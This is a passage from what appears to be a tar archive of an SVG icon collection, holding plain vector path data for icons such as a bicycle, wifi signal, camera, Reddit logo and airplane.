0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M317 32H195c-17.6 0-24 14.4-24 32h170c0-17.6-6.4-32-24-32zM196.1 147.5c7.6 8.8 11.9 20 11.9 31.7v265.9c0 21.9 17.9 34.9 39.9 34.9h16.3c21.9 0 39.9-12.9 39.9-34.9V179.2c0-11.7 4.3-22.8 11.9-31.7 15.4-17.9 25-34.5 25-67.5H171c0 35 9.6 49.6 25.1 67.5zm31.9 90.8c0-15.6 12.6-28.3 28-28.3s28 12.7 28 28.3v35.4c0 15.6-12.6 28.3-28 28.3s-28-12.7-28-28.3v-35.4z"/><circle cx="256" cy="273" r="20"/></svg>collection/icon/svg/md-bicycle.svg000064400000001724151701353760013173 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M330.666 131.202c18.668 0 33.598-14.935 33.598-33.601S349.334 64 330.666 64C312 64 297.07 78.935 297.07 97.601s14.93 33.601 33.596 33.601zm56 130.132c-51.332 0-93.332 42-93.332 93.333s42 93.333 93.332 93.333C438 448 480 406 480 354.667s-42-93.333-93.334-93.333zm0 158.666c-36.402 0-65.332-28.93-65.332-65.333s28.93-65.333 65.332-65.333c36.404 0 65.334 28.93 65.334 65.333S423.07 420 386.666 420zm-81.069-196H384v-32h-58.845l-34.62-60.134c-5.605-9.333-15.869-15.864-27.07-15.864-8.399 0-16.798 3.732-22.399 9.333L169.334 194.4c-5.601 5.601-9.333 14-9.333 22.399 0 12.131 9.202 21.465 18.535 27.065L240 282.134V368h32V256l-39.333-32 42.929-44.533L305.597 224zm-180.264 37.334C74 261.334 32 303.334 32 354.667S74 448 125.333 448s93.333-42 93.333-93.333-41.999-93.333-93.333-93.333zm0 158.666C88.934 420 60 391.07 60 354.667s28.934-65.333 65.333-65.333 65.333 28.93 65.333 65.333S161.732 420 125.333 420z"/></svg>collection/icon/svg/ios-wifi.svg000064400000001351151701353760012705 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 96c-81.5 0-163 33.6-221.5 88.3-3.3 3-3.4 8.1-.3 11.4l26.7 27.9c3.1 3.3 8.3 3.4 11.6.3 23.3-21.6 49.9-38.8 79.3-51 33-13.8 68.1-20.7 104.3-20.7s71.3 7 104.3 20.7c29.4 12.3 56 29.4 79.3 51 3.3 3.1 8.5 3 11.6-.3l26.7-27.9c3.1-3.2 3-8.3-.3-11.4C419 129.6 337.5 96 256 96z"/><path d="M113.2 277.5l28.6 28.3c3.1 3 8 3.2 11.2.3 28.3-25.1 64.6-38.9 102.9-38.9s74.6 13.7 102.9 38.9c3.2 2.9 8.1 2.7 11.2-.3l28.6-28.3c3.3-3.3 3.2-8.6-.3-11.7-37.5-33.9-87.6-54.6-142.5-54.6s-105 20.7-142.5 54.6c-3.3 3.1-3.4 8.4-.1 11.7zM256 324.2c-23.4 0-44.6 9.8-59.4 25.5-3 3.2-2.9 8.1.2 11.2l53.4 52.7c3.2 3.2 8.4 3.2 11.6 0l53.4-52.7c3.1-3.1 3.2-8 .2-11.2-14.8-15.6-36-25.5-59.4-25.5z"/></svg>collection/icon/svg/md-card.svg000064400000000404151701353760012464 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M435.2 80H76.8c-24.9 0-44.6 19.6-44.6 44L32 388c0 24.4 19.9 44 44.8 44h358.4c24.9 0 44.8-19.6 44.8-44V124c0-24.4-19.9-44-44.8-44zm0 308H76.8V256h358.4v132zm0-220H76.8v-44h358.4v44z"/></svg>collection/icon/svg/md-thumbs-down.svg000064400000000475151701353760014032 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M314 64H142c-15.7 0-28.6 9.6-34.2 23.4L50.6 222.8c-1.7 4.4-2.6 9-2.6 14v38.6c0 21.1 17 44.6 37.8 44.6h119.3l-18 81.5-.6 6c0 7.9 3.2 15.1 8.3 20.3l20 20.1L341 320.7c6.8-6.9 11-16.5 11-27.1v-192c0-21.1-17.2-37.6-38-37.6zM400 64h64v224h-64z"/></svg>collection/icon/svg/ios-hand.svg000064400000001146151701353760012663 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M394.9 117.3c-11.6 0-21.1 9.3-21.1 20.6v109.4c0 4.8-4 8.7-8.9 8.7s-8.9-3.9-8.9-8.7V85.9c0-11.3-9.5-20.6-21.1-20.6-11.6 0-21.1 9.3-21.1 20.6v126.8c0 4.8-4 8.7-8.9 8.7s-8.9-3.9-8.9-8.7V68.6c0-11.3-9.5-20.6-21.1-20.6-11.6 0-21.1 9.3-21.1 20.6V230c0 4.8-4 8.7-8.9 8.7s-8.9-3.9-8.9-8.7V103.2c0-11.3-9.5-20.6-21.1-20.6-11.6 0-21.1 9.3-21.1 20.6v218.3L166 297.9c-26.1-22.7-48.2-32.4-66.2-15.7-12.1 11.8 6.9 30.9 26.8 53.2 19.2 21.5 70 91.9 113.3 117.3 0 0 16.7 11.4 40.6 11.4h57.2c46.1 0 78.4-37.9 78.4-93.2v-233c-.1-11.3-9.6-20.6-21.2-20.6z"/></svg>collection/icon/svg/ios-hammer.svg000064400000002042151701353760013216 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M277.6 246.9c-1.1-2-2.5-3.9-4.1-5.5l-18.4-18.2c-1.9-1.9-4.1-3.5-6.6-4.6-8.2-3.6-17.4-1.7-23.4 4.3-6.4 6.3-18.1 17.8-39.2 38.7-40.4 40-98.1 89.6-132 118.2-7.2 6.1-7.7 17-1.1 23.7L92 443.2c6.7 6.7 17.6 6.3 23.8-.9 29.4-34.6 79.5-92.3 119.4-131.8 20.5-20.2 32-31.8 38.5-38.2 6.5-6.6 8.3-16.7 3.9-25.4zM462.4 218.1l-34.5-34.2c-1.1-1.1-2.5-1.6-4-1.6-1.4 0-2.9.5-4 1.6-2.5 2.5-6.1 3.8-9.6 3.3-4.5-.5-9.3-1.9-12.4-4.9-7-6.9 1.1-20.5-5.1-29.2-6.2-8.7-16.1-19.8-23.2-26.9-7.1-7-35-33.7-82-52.9-16.6-6.8-32.8-9.3-47.3-9.3-26.5 0-47.4 8.5-54.8 15.3-5.5 5.1-11.2 14.1-3.1 14.1.7 0 1.5-.1 2.4-.2 4.5-.7 13.3-1.5 23.4-1.5 15.7 0 34.5 2.1 44.6 10.1 16.3 13.1 29.8 30.6 30.9 53.2.8 16.8-3.4 28.2-18.7 45.5-2.8 3.2-2.6 8 .4 10.9l19.2 19.2c3.1 3.1 8.1 3.1 11.2.1 14-13.6 22.1-20.2 31.3-22.7 4-1.1 8.4-1.6 12.8-1.6 9.7 0 19.2 2.2 23.6 4.6 1.1.6 2.1 1.4 3.1 2.4 6.5 6.6 6.1 17.4-.5 23.9l-2 1.9c-2.2 2.2-2.2 5.7 0 7.9l34.5 34.2c1.1 1.1 2.5 1.6 4 1.6 1.4 0 2.9-.5 4-1.6l55.8-55.2c2.1-2.3 2.1-5.8 0-8z"/></svg>collection/icon/svg/ios-apps.svg000064400000001255151701353760012715 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M434.8 137.6L285.4 69.5c-16.2-7.4-42.7-7.4-58.9 0L77.2 137.6c-17.6 8-17.6 21.1 0 29.1l148 67.5c16.9 7.7 44.7 7.7 61.6 0l148-67.5c17.6-8 17.6-21.1 0-29.1zM225.2 375.2l-99.8-45.5c-4.2-1.9-9.1-1.9-13.3 0l-34.9 15.9c-17.6 8-17.6 21.1 0 29.1l148 67.5c16.9 7.7 44.7 7.7 61.6 0l148-67.5c17.6-8 17.6-21.1 0-29.1l-34.9-15.9c-4.2-1.9-9.1-1.9-13.3 0l-99.8 45.5c-16.9 7.7-44.7 7.7-61.6 0z"/><path d="M434.8 241.6l-31.7-14.4c-4.2-1.9-9-1.9-13.2 0l-108 48.9c-15.3 5.2-36.6 5.2-51.9 0l-108-48.9c-4.2-1.9-9-1.9-13.2 0l-31.7 14.4c-17.6 8-17.6 21.1 0 29.1l148 67.5c16.9 7.7 44.7 7.7 61.6 0l148-67.5c17.7-8 17.7-21.1.1-29.1z"/></svg>collection/icon/svg/md-camera.svg000064400000000543151701353760013007 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="256" cy="280" r="63"/><path d="M440 96h-88l-32-32H192l-32 32H72c-22.092 0-40 17.908-40 40v272c0 22.092 17.908 40 40 40h368c22.092 0 40-17.908 40-40V136c0-22.092-17.908-40-40-40zM256 392c-61.855 0-112-50.145-112-112s50.145-112 112-112 112 50.145 112 112-50.145 112-112 112z"/></svg>collection/icon/svg/ios-backspace.svg000064400000001072151701353760013663 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M395 96H230c-46.7 0-73.2 34.7-102 63.5s-72.1 74.7-72.1 74.7C51 239.8 48 247 48 255.1c0 8 3 15.3 7.9 21 0 0 34.3 37.6 72.1 75.5 37.8 37.8 56.7 64.5 102 64.5h165c38.5 0 69-32.5 69-71V165c0-38.5-30.5-69-69-69zm-17.7 212.7c6.2 6.2 6.2 16.4 0 22.6-6.2 6.2-16.4 6.2-22.6 0L302 278.6l-52.7 52.7c-6.2 6.2-16.3 6.4-22.6 0-6.4-6.4-6.7-15.9 0-22.6l52.7-52.7-52.7-52.7c-6-6-7.1-15.6 0-22.6 7.1-7.1 16.4-6.2 22.6 0l52.7 52.7 52.7-52.7c6.2-6.2 16.4-6.2 22.6 0 6.2 6.2 6.2 16.4 0 22.6L324.6 256l52.7 52.7z"/></svg>collection/icon/svg/md-pizza.svg000064400000001351151701353760012712 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M407.2 130.4C360.7 111.5 309.8 102 256 102c-53.9 0-108.3 10.3-151.2 28-8.1 3.3-15.3 9-10.1 19.5S255.9 480 255.9 480l161-329.9c3.2-6.9.9-15.4-9.7-19.7zm-221 73.6c-18.7 0-32-14.3-32-32s13.3-32 32-32 32 14.3 32 32-13.3 32-32 32zM256 347c-18.7 0-32-14.3-32-32s13.3-32 32-32 32 14.3 32 32-13.3 32-32 32zm69.8-123c-18.7 0-32-14.3-32-32s13.3-32 32-32 32 14.3 32 32-13.3 32-32 32z"/><path d="M436.9 66C384.7 45.4 320.3 32 256 32c-64.3 0-127.6 12.1-180.9 33.4C70.4 67.3 64 71 64 79.2l9.7 24.1c2.8 4.9 8.7 8.2 15.1 8.2 1.8 0 4.3-.3 7.3-1.5 49-18.9 103.1-29.6 160-29.6 56.9 0 115.2 11.6 160 29.6 3.6 1.4 5.6 1.5 7.3 1.5 6.6 0 12.2-3.3 15-8.1l9.8-24.1c-.2-7.3-5-10.8-11.3-13.3z"/></svg>collection/icon/svg/md-volume-high.svg000064400000000607151701353760014004 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 192v128h85.334L256 431.543V80.458L149.334 192H64zm288 64c0-38.399-21.333-72.407-53.333-88.863v176.636C330.667 328.408 352 294.4 352 256zM298.667 64v44.978C360.531 127.632 405.334 186.882 405.334 256c0 69.119-44.803 128.369-106.667 147.022V448C384 428.254 448 349.257 448 256c0-93.256-64-172.254-149.333-192z"/></svg>collection/icon/svg/ios-tablet-portrait.svg000064400000000733151701353760015067 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M409 39c-4.5-4.5-10.6-7-16.9-7H119.9c-6.4 0-12.4 2.5-16.9 7-4.5 4.5-7 10.6-7 16.9V456c0 6.4 2.5 12.4 7 16.9 4.5 4.5 10.6 7 16.9 7H392c6.4 0 12.4-2.5 16.9-7 4.5-4.5 7-10.6 7-16.9V55.9c.1-6.3-2.4-12.4-6.9-16.9zm-153.4 9.7c3.9 0 7 3.1 7 7s-3.1 7-7 7-7-3.1-7-7c0-3.8 3.2-7 7-7zM256 470c-7.7 0-14-6.5-14-14.1 0-7.5 6.2-14 14-14 7.7 0 14.1 6.4 14.1 14-.1 7.6-6.4 14.1-14.1 14.1zm144-38H112V80h288v352z"/></svg>collection/icon/svg/md-battery-dead.svg000064400000000404151701353760014120 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M338.2 76.8h-37.4V32h-89.6v44.8h-37.4c-16.4 0-29.8 13.4-29.8 29.8V450c0 16.6 13.4 30 29.8 30H338c16.6 0 30-13.4 30-29.8V106.6c0-16.4-13.4-29.8-29.8-29.8zM320 432H192V124.8h128V432z"/></svg>collection/icon/svg/logo-reddit.svg000064400000002735151701353760013377 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><circle cx="322.3" cy="288.4" r="31.8"/><circle cx="190.3" cy="288.4" r="31.8"/><path d="M480.5 251c0-27.7-22.2-50.2-49.5-50.2-13 0-24.7 5-33.6 13.3-33.2-23.4-78.4-38.5-128.7-40.7L292 95.7l69.6 13.9c.2 24.7 20.1 44.7 44.5 44.7 24.6 0 44.5-20.2 44.5-45.1S430.7 64 406.1 64c-18.6 0-34.5 11.6-41.2 28l-85.2-17-29.4 98.2-7.1.2c-50.3 2.2-95.5 17.4-128.7 40.7-8.8-8.3-20.6-13.3-33.6-13.3-27.3 0-49.5 22.5-49.5 50.2 0 19.6 11 36.5 27.1 44.8-.8 4.9-1.2 9.8-1.2 14.8C57.5 386.4 146.4 448 256 448s198.5-61.6 198.5-137.5c0-5-.4-9.9-1.1-14.8 16.1-8.3 27.1-25.2 27.1-44.7zM406.1 81.9c14.8 0 26.8 12.2 26.8 27.2s-12 27.2-26.8 27.2-26.8-12.2-26.8-27.2 12-27.2 26.8-27.2zM49.2 251c0-17.8 14.3-32.2 31.8-32.2 7.2 0 13.9 2.5 19.2 6.6-17.3 15.2-30.1 33-37 52.4-8.4-5.9-14-15.7-14-26.8zm337.2 141.9C351.8 416.8 305.5 430 256 430s-95.8-13.2-130.4-37.1c-32.5-22.5-50.4-51.8-50.4-82.4 0-3.2.2-6.5.6-9.7.7-6 2.2-11.9 4.3-17.7 5.6-15.6 16-30.3 30.7-43.4 4.4-3.9 9.2-7.7 14.4-11.3.1-.1.3-.2.4-.3C160.2 204.2 206.5 191 256 191s95.8 13.2 130.4 37.1c.1.1.3.2.4.3 5.2 3.6 10 7.4 14.4 11.3 14.7 13.1 25.1 27.8 30.7 43.4 2.1 5.8 3.5 11.7 4.3 17.7.4 3.2.6 6.4.6 9.7 0 30.6-17.9 59.9-50.4 82.4zm62.4-115.2c-6.9-19.4-19.7-37.2-37-52.4 5.3-4.1 12-6.6 19.2-6.6 17.5 0 31.8 14.5 31.8 32.2 0 11.2-5.6 21-14 26.8z"/><path d="M320.5 357.9c-.2.2-24.2 24.2-64.5 24.4-40.9-.2-64.4-24.2-64.6-24.4l-12.6 12.4c1.2 1.2 29.6 29.5 77.2 29.7 47.6-.2 75.9-28.5 77.1-29.7l-12.6-12.4z"/></svg>collection/icon/svg/md-add-circle.svg000064400000000340151701353760013541 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.125 48 48 141.125 48 256s93.125 208 208 208 208-93.125 208-208S370.875 48 256 48zm107 229h-86v86h-42v-86h-86v-42h86v-86h42v86h86v42z"/></svg>collection/icon/svg/md-cloudy-night.svg000064400000001400151701353760014156 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M123.4 183c.4-.1.8-.1 1.2-.2-.5.1-.8.2-1.2.2zM341.5 303.4C330.7 247.7 282.2 206 224 206c-34 0-65.1 12-86.5 39.1 29.4 2.2 56.7 13.1 77.7 34.2 15.6 15.7 26.6 34.9 32.1 55.8h-28.7c-13.1-37.6-48-64.5-90.6-64.5-5.1 0-12.3.6-17.7 1.7-45.7 9.4-78.3 47.6-78.3 95 0 53.4 43 96.8 96 96.8h208c44.1 0 80-36.1 80-80.6-.1-42.7-32.9-77.2-74.5-80.1z"/><path d="M112.5 225.4c13.6-17.3 30.7-30.5 50.8-39.2 18.4-8 38.8-12 60.7-12 6.1 0 12.2.4 18.2 1.1-6.1-18.1-9.4-37.6-9.4-57.8 0-24.6 4.9-48.1 13.8-69.4C161.9 68.7 99 145.7 99 237.3c0 1.6 0 3.2.1 4.8.1 0 .2-.1.3-.1l13.1-16.6zM417.6 306.8c13.3 14.2 22.6 31.5 27.1 50.1 16.5-21.4 28.7-46.4 35.3-73.5-21.2 9-44.5 13.9-68.9 13.9h-3.6c3.5 2.9 6.9 6.1 10.1 9.5z"/></svg>collection/icon/svg/md-create.svg000064400000000423151701353760013017 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 368v80h80l235.727-235.729-79.999-79.998L64 368zm377.602-217.602c8.531-8.531 8.531-21.334 0-29.865l-50.135-50.135c-8.531-8.531-21.334-8.531-29.865 0l-39.468 39.469 79.999 79.998 39.469-39.467z"/></svg>collection/icon/svg/ios-egg.svg000064400000000265151701353760012514 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C192 32 96 165.2 96 288.9 96 412.6 160 480 256 480s160-67.4 160-191.1C416 165.2 320 32 256 32z"/></svg>collection/icon/svg/md-information.svg000064400000000167151701353760014106 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M232 235h48v137h-48zM232 140h48v48h-48z"/></svg>collection/icon/svg/md-finger-print.svg000064400000004154151701353760014165 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M78.1 205.6c-2.4 0-4.9-.6-7.1-1.9-6.7-3.9-9-12.4-5.1-19.1 17.8-30 71.9-100.1 190.1-100.1 51.2 0 96.1 13.6 133.4 40.4 30.7 22 47.9 46.9 56.1 58.9 4.4 6.4 2.7 15-3.7 19.4-6.4 4.3-15.2 2.7-19.6-3.7-14.9-21.6-60.1-87.2-166.2-87.2-103.6 0-150.4 60.4-165.7 86.3-2.6 4.6-7.3 7-12.2 7z"/><path d="M315.5 480c-1.2 0-2.3-.1-3.5-.4-85.7-21.5-117.7-108.1-119-111.7l-.2-.8c-.7-2.5-17.9-61.9 8.5-96.7 12.1-15.9 30.5-24 54.8-24 22.6 0 38.9 7.1 50.1 21.8 9.2 12 12.9 26.8 16.5 41.1 7.5 29.7 12.9 45.3 44.1 46.9 13.7.7 22.7-7.4 27.8-14.3 13.8-18.8 16.2-49.5 5.8-76.5-13.4-35-60.8-100.9-144.4-100.9-35.7 0-68.5 11.6-94.8 33.4-21.8 18.1-39.1 43.6-47.4 69.8-15.4 48.8 4.8 125.5 5 126.2 2 7.4-2.5 15.1-10 17-7.5 2-15.3-2.5-17.3-9.9-.9-3.5-22.5-85.3-4.7-141.7C106.2 198.2 166 136.6 256 136.6c41.6 0 80.9 14.3 113.7 41.3 25.4 21 46.2 49.2 57 77.4 13.8 36 10.1 76.4-9.4 102.8-13 17.6-31.5 26.8-52 25.8-53.4-2.7-63-40.4-70-67.9-7.2-28.2-11.8-41.8-39.3-41.8-15.1 0-25.7 4.2-32.3 12.9-9 11.9-9.7 30.5-8.7 44 1 14.1 4 25.5 4.7 27.8 2.2 5.6 30.8 76.5 99.3 93.7 7.6 1.9 12.1 9.5 10.2 16.9-1.7 6.3-7.4 10.5-13.7 10.5z"/><path d="M205.5 473.6c-3.8 0-7.5-1.5-10.3-4.4-34.3-36.4-53.7-77.1-61-128v-.3c-4.1-33.7 1.9-81.4 31.3-114.2 21.7-24.2 52.2-36.5 90.5-36.5 45.3 0 80.9 21.3 103.1 61.5 16.1 29.2 19.3 58.3 19.4 59.5.8 7.7-4.9 14.5-12.6 15.3-7.7.8-14.7-4.8-15.5-12.4 0-.3-2.8-25.3-16.5-49.7-17.2-30.7-43.4-46.3-78-46.3-29.9 0-53.3 9.1-69.4 27.1-23.2 25.9-27.7 65.8-24.5 92.2 6.4 45 23.5 80.8 53.7 112.8 5.3 5.6 5 14.5-.7 19.7-2.6 2.4-6.1 3.7-9.5 3.7z"/><path d="M363.5 433.5c-30 0-55.5-8.4-75.9-25.1-41-33.4-45.6-87.8-45.8-90.1-.6-7.7 5.2-14.4 13-15 7.8-.6 14.5 5.1 15.1 12.8.1.8 4.2 45.3 35.8 70.9 18.7 15.1 43.7 21.1 74.5 17.6 7.7-.9 14.7 4.6 15.6 12.3.9 7.7-4.7 14.6-12.4 15.4-6.8.8-13.5 1.2-19.9 1.2zM387.2 62.6C375.5 54.9 334 32 256 32c-81.9 0-123.5 25.3-132.7 31.7-.6.4-1.2.8-1.7 1.3-.1.1-.2.1-.2.1-2.9 2.6-4.7 6.3-4.7 10.4 0 7.7 6.3 13.9 14.1 13.9 3.1 0 5.9-1 8.2-2.6l-.1.1c.4-.3 36.3-27 117.1-27s116.7 26.8 117.1 27l-.1-.1.2-.2c2.4 1.8 5.3 2.8 8.5 2.8 7.8 0 14.1-6.2 14.1-13.9 0-5.8-3.5-10.8-8.6-12.9z"/></svg>collection/icon/svg/md-male.svg000064400000000504151701353760012472 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 48H288v48h94.1L275.4 202.6C251.9 185.9 223.1 176 192 176c-79.5 0-144 64.5-144 144s64.5 144 144 144 144-64.5 144-144c0-31.1-9.9-59.9-26.6-83.4L416 129.9V224h48V48h-48zM192 416c-52.9 0-96-43.1-96-96s43.1-96 96-96 96 43.1 96 96-43.1 96-96 96z"/></svg>collection/icon/svg/md-thumbs-up.svg000064400000000471151701353760013503 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M198 448h172c15.7 0 28.6-9.6 34.2-23.4l57.1-135.4c1.7-4.4 2.6-9 2.6-14v-38.6c0-21.1-17-44.6-37.8-44.6H306.9l18-81.5.6-6c0-7.9-3.2-15.1-8.3-20.3L297 64 171 191.3c-6.8 6.9-11 16.5-11 27.1v192c0 21.1 17.2 37.6 38 37.6zM48 224h64v224H48z"/></svg>collection/icon/svg/ios-notifications-off.svg000064400000001230151701353760015364 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.9 456c31.1 0 48.1-22 48.1-53h-96.3c0 31 17 53 48.2 53zM154.5 55c-2.5-4.3-7-6.8-11.6-7h.3-1.2c-2.3 0-4.7.7-6.9 1.9-6.8 3.9-9.1 12.6-5.1 19.3L357.5 457c2.6 4.5 7.4 7 12.3 7 2.4 0 4.9-.6 7.2-1.9 6.8-3.9 9.1-12.6 5.1-19.3L154.5 55zM296.1 384L159 150.5c-8.2 20.2-13.3 46-13.3 78.6 0 90.9-30.3 102.7-45.7 123.1-9.9 13.1-.5 31.8 15.9 31.8h180.2zM412 352.2c-15.4-20.3-45.7-32.2-45.7-123.1 0-93.3-41.2-130.8-79.6-139.8-3.6-.9-6.2-2.1-6.2-5.9v-2.9c0-13.4-11-24.7-24.4-24.6-13.4-.2-24.4 11.2-24.4 24.6v2.9c0 3.7-2.6 5-6.2 5.9-8.7 2-17.5 5.5-25.9 10.8L366.1 384H396c16.5 0 25.9-18.8 16-31.8z"/></svg>collection/icon/svg/ios-train.svg000064400000001374151701353760013071 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393.7 455.9l-50-48c-5.6-5.4-14.4-5.2-19.8.4-5.4 5.6-5.2 14.4.4 19.8l6.1 5.9H181.5l6.1-5.9c5.6-5.4 5.8-14.2.4-19.8-5.4-5.6-14.2-5.8-19.8-.4l-50 48c-5.6 5.4-5.8 14.2-.4 19.8 2.7 2.9 6.4 4.3 10.1 4.3 3.5 0 7-1.3 9.7-3.9l14.7-14.1h207.2l14.7 14.1c2.7 2.6 6.2 3.9 9.7 3.9 3.7 0 7.4-1.4 10.1-4.3 5.5-5.6 5.3-14.4-.3-19.8z"/><path d="M337 48h-17c0-8.8-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16h-15c-35.3 0-65 27.7-65 63v236c0 35.3 144 65 144 65s144-29.7 144-65V111c0-35.3-27.7-63-63-63zm-81 304c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm96-160c0 8.8-7.2 16-16 16H176c-8.8 0-16-7.2-16-16v-64c0-8.8 7.2-16 16-16h160c8.8 0 16 7.2 16 16v64z"/><circle cx="256" cy="304" r="30.5"/></svg>collection/icon/svg/logo-freebsd-devil.svg000064400000002264151701353760014634 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M502.6 115c-22.5-43.7-58-51-58-51s15.5 32 16 51c.4 16.1-5.5 28-27.2 33.5s-30.8-2-47.8-17.5-41.6-26.5-72.6-28c-40-2-77 9-77 9-20-25 20-80 20-80-74.5 29.5-93.7 83.3-96 113.7-1.9 24.1 8.5 40.8 8.5 40.8s-.5 27.8-5 42c-3.1 9.8-16.9 25-26 34.5-12.2 12.7-12.5 38.5 0 57s44 27.5 67 39.5 31.5 21 31.5 21 1 8.3.5 15.3-3.2 14-9 18.2c-5.5 3.9-15.5.5-20.5-2s-5-6.2-10.5-8-7.3-4-6.5-11 2-9-3.5-18.5-18.5-9.5-29.5-8-17.3 6.8-17.3 6.8l-16.3-10s8.5-15.6 5.2-35.6c-7.3-43.8-50-62.8-50-62.8L89 309.3s1.1-2.6 6.4-6.4 8.1-3.6 8.1-3.6 6.6 7.6 9.1 25.3c2.5 18-6.7 27.2-6.7 27.2l-28.3-18 1-14.5L39.8 309 56 345.7l15-4 24 22.7s-15.7 11.7-33 11.7c-11 0-22-6-22-6s-1.4-1-.8-5.5c.7-5 6.8-12.5 6.8-12.5H0s27.3 38.7 65 38.7c31 0 44.2-12.5 44.2-12.5L128 397s3 5.5 0 7-7 3.5-9 15 18 29 18 29c21.8 17.8 7 32 7 32h272c-9-13-22.5-18-32-32 0 0-44.8-58.4-1.8-90.4 57.4-42.7 42.8-69.4 41.2-101.4 0 0 31.8-6.6 59.3-33.6s38.9-70.8 19.9-107.6zM195 203c-16.9 4.5-22.5 35.5-22.5 35.5 1.5-63 57.5-93 65-89s-6.5 39-21 64c0 0-8-14.1-21.5-10.5zm37 15s18-56 37.5-59.5 41.5 21 41.5 62-26 65.4-42.8 69.2c-16.5 3.8-23 2-23 2s27.5-21.6 23.5-56.8c-2.8-24.7-31.4-24.2-36.7-16.9z"/></svg>collection/icon/svg/md-add-circle-outline.svg000064400000000666151701353760015231 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M363 277h-86v86h-42v-86h-86v-42h86v-86h42v86h86v42z"/><path d="M256 90c44.3 0 86 17.3 117.4 48.6C404.7 170 422 211.7 422 256s-17.3 86-48.6 117.4C342 404.7 300.3 422 256 422c-44.3 0-86-17.3-117.4-48.6C107.3 342 90 300.3 90 256c0-44.3 17.3-86 48.6-117.4C170 107.3 211.7 90 256 90m0-42C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/md-grid.svg000064400000000777151701353760012515 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M409.6 64H102.4C81.3 64 64 81.3 64 102.4v307.2c0 21.1 17.3 38.4 38.4 38.4h307.2c21.1 0 38.4-17.3 38.4-38.4V102.4c0-21.1-17.3-38.4-38.4-38.4zM179.2 409.6h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm115.2 230.4h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm115.2 230.4h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8zm0-115.2h-76.8v-76.8h76.8v76.8z"/></svg>collection/icon/svg/ios-airplane.svg000064400000001211151701353760013535 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M407.7 224c-3.4 0-14.8.1-18 .3l-64.9 1.7c-.7 0-1.4-.3-1.7-.9L225.8 79.4c-2.9-4.6-8.1-7.4-13.5-7.4h-23.7c-5.6 0-7.5 5.6-5.5 10.8l50.1 142.8c.5 1.3-.4 2.7-1.8 2.7L109 230.1c-2.6.1-5-1.1-6.6-3.1l-37-45c-3-3.9-7.7-6.1-12.6-6.1H36c-2.8 0-4.7 2.7-3.8 5.3l19.9 68.7c1.5 3.8 1.5 8.1 0 11.9l-19.9 68.7c-.9 2.6 1 5.3 3.8 5.3h16.7c4.9 0 9.6-2.3 12.6-6.1L103 284c1.6-2 4.1-3.2 6.6-3.1l121.7 2.7c1.4.1 2.3 1.4 1.8 2.7L183 429.2c-2 5.2-.1 10.8 5.5 10.8h23.7c5.5 0 10.6-2.8 13.5-7.4L323.1 287c.4-.6 1-.9 1.7-.9l64.9 1.7c3.3.2 14.6.3 18 .3 44.3 0 72.3-14.3 72.3-32S452.1 224 407.7 224z"/></svg>collection/icon/svg/ios-basket.svg000064400000001211151701353760013213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M387.9 373.7h49.2l17.5-75.4h-66.7zM387.9 448h.5c18.7 0 33.4-12.5 38.3-29.5l6-25.9h-44.8V448zM265.4 392.5h103.7V448H265.4zM75 373.7h49v-75.4H57.5zM142.9 192h103.7v87.5H142.9zM265.4 192h103.7v87.5H265.4zM85.5 418.3c4.7 17 19.4 29.7 38.1 29.7h.5v-55.5H79.4l6.1 25.8zM142.9 392.5h103.7V448H142.9zM265.4 298.3h103.7v75.4H265.4zM142.9 298.3h103.7v75.4H142.9z"/><path d="M464 